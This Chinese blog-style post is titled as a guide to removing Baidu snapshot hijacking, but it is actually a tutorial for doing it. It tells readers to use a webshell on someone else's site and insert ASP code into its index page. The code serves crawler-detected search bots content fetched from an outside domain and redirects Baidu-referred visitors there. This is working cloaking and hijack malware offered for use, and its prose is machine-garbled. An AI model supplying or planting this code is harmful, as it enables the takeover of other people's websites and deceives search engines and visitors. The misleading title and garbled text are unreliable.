百度快照绑架怎样删去_找出百度快照绑架文件办法

顿志业 178 字体: 放大 缩小

这个就是快照绑架只需对方网站更新了 那么 就是你的网站要害字 经过百度打开会进入你的网站

百度快照绑架
咱们先进入这个站的webshell
webshell简略来说就是网站控制权,是他人的网站。index.asp一般ASP主页是index就是主页 记住 代码是放到的上下代码咱们确保都是最新的,代码经常会过期用不了,或许被屏蔽。咱们会一向供给最新的代码免费的更新
webshell
ASP绑架代码
<%
function GetBot()
'查询蜘蛛
dim s_agent
GetBot=/"/"
s_agent=Request.ServerVariables(/"HTTP_USER_AGENT/") '要害判别句子
if instr(1,s_agent,/"googlebot/",1) >0 then
GetBot=/"google/"
end if
if instr(1,s_agent,/"msnbot/",1) >0 then
GetBot=/"MSN/"
end if
if instr(1,s_agent,/"slurp/",1) >0 then
GetBot=/"Yahoo/"
end if
if instr(1,s_agent,/"baiduspider/",1) >0 then
GetBot=/"baidu/"
end if
if instr(1,s_agent,/"sohu-search/",1) >0 then
GetBot=/"Sohu/"
end if
if instr(1,s_agent,/"lycos/",1) >0 then
GetBot=/"Lycos/"
end if
if instr(1,s_agent,/"robozilla/",1) >0 then
GetBot=/"Robozilla/"
end if
end function
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,/"GB2312/")'编码
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject(/"Microsoft.XMLHTTP/")
With Retrieval
.Open /"Get/", url, False, /"/", /"/"
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject(/"adodb.stream/")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Dim wstr,str,url,start,over,dtime
if GetBot=/"baidu/" then
url=/"http://www.55um.com//"
wstr=getHTTPPage(url)
body=wstr
response.write /"/"&body&/"/"
response.end
elseif GetBot=/"google/" then
url=/"http://www.55um.com//"
wstr=getHTTPPage(url)
body=wstr
response.write /"/"&body&/"/"
response.end
end if
if instr(Request.ServerVariables(/"http_referer/"),/"www.baidu.com/")>0 then
response.redirect(/"http://www.55um.com//")
end if
%>

「点点赞赏,手留余香」

赞赏

  • xunxinrjiu435
  • 么么扎酱
  • 桑桑燕18
  • YiangQianYY
  • 超级qzh5341
  • 7人赞过
7
4
0
评论 0 请文明上网,理性发言

相关文章